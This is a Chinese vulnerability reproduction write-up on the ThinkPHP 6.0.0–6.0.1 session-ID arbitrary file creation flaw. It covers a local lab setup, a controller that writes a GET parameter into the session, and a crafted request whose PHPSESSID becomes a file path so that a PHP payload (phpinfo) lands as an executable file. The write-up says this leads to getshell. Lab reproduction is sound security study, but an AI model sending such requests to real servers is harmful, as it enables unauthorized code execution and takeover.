参考链接:https://my.oschina.net/u/4593034/blog/4418757
简介
ThinkPHP框架是MVC结构的开源PHP框架,遵循Apache2开源协议发布,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。该漏洞源于ThinkPHP 6.0的某个逻辑漏洞,成功利用此漏洞的攻击者可以实现“任意”文件创建,在特殊场景下可能会导致GetShell。
漏洞简介
2020年1月10日,ThinkPHP团队发布一个补丁更新,修复了一处由不安全的SessionId导致的任意文件操作漏洞。该漏洞允许攻击者在目标环境启用session的条件下创建任意文件以及删除任意文件,在特定情况下还可以getshell。
影响版本
ThinkPHP 6.0.0-6.0.1
漏洞复现
一、环境搭建:
1、安装Composer
下载Composer-Setup.exe
https://getcomposer.org/download/
安装路径选择php.exe所在的路径:
注意:
1,把php.ini中extension_dir路径设置为绝对路径:
extension_dir="C:phpstudy_proExtensionsphpphp7.3.4ntsext"
2,出错的话,把xdebug注释掉
安装完毕截图:
执行以下命令,可以换国内镜像
composer config -g repo.packagist composerhttps://packagist.phpcomposer.com
2、安装thinkphp
composer create-project topthink/think tp6
注:
假如出现错误
[InvalidArgumentException] Could not find package topthink/think withstability stable.
解决方法删除之前的镜像
composer config -g --unset repos.packagist
3,修改配置
将 tp6/composer.json 文件的 "topthink/framework": "^6.0.0" 改成 6.0.0 版本,
执行更新命令
cd tp6 //进入tp6目录
composer update
二、漏洞利用
首先,需要得到一个可控session参数名,这里是在本地构造的,实战需要自己fuzz。
构造位置:tp6appcontrollerIndex.php
增加构造的内容:
use thinkfacadeSession;
Session::set('user',$_GET['username']);
如下图所示:
开启session且写入的session可控
在/tp6/app/middleware.php 文件开启session去掉注释session的//
如下图所示:
构造请求:
使用Burp抓取首页的包构造payload:username就是我们刚才构造的接受参数,然后将PHPSESSID的值修改为32位的保存路径
http://127.0.0.1/tp6/public/index.php/index?username= %20phpinfo();
创建的文件:
http://127.0.0.1/tp6/public/1qwedwsc1.php
同理:
可以利用该漏洞getshell:
原文始发于微信公众号(Oriental rose):Thinkphp 6.x任意文件创建漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论